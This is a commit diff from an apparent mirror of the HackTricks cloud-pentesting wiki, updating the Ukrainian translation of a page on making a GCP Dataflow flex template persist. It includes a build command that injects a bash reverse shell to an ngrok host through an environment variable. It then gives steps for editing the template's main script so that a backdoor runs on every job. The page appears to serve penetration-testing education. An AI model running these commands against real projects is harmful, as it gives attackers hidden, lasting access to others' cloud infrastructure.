mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-14 13:56:30 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -1,12 +1,16 @@
|
||||
# GCP - Dataflow Persistence
|
||||
# GCP - Dataflow Персистентність
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Невидима стійкість у вбудованому контейнері
|
||||
### Невидима персистентність у збудованому контейнері
|
||||
|
||||
Слідуючи [**посібнику з документації**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates), ви можете створити новий (наприклад, python) гнучкий шаблон:
|
||||
Дотримуючись [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Створити Dataflow flex template with backdoor</summary>
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**Поки він будується, ви отримаєте зворотний шелл** (ви можете зловживати змінними середовища, як у попередньому прикладі, або іншими параметрами, які налаштовують Docker файл для виконання довільних дій). У цей момент, всередині зворотного шеллу, можливо **перейти до каталогу `/template` і змінити код основного python скрипта, який буде виконуватись (у нашому прикладі це `getting_started.py`)**. Встановіть тут свою бекдор, щоб щоразу, коли завдання виконується, воно виконувалося.
|
||||
</details>
|
||||
|
||||
Тоді, наступного разу, коли завдання буде виконано, буде запущено скомпрометований контейнер:
|
||||
**Під час складання ви отримаєте reverse shell** (ви можете зловживати env variables, як у попередньому прикладі, або іншими параметрами, що змушують Docker file виконувати довільні речі). У цей момент, всередині reverse shell, можна **перейти до каталогу `/template` та змінити код основного python-скрипта, який буде виконано (у нашому прикладі це `getting_started.py`)**. Розмістіть тут свій backdoor, щоб щоразу при виконанні job він виконувався.
|
||||
|
||||
Тоді, наступного разу коли job буде виконано, буде запущено скомпрометований контейнер, який було зібрано:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Запустити Dataflow template</summary>
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user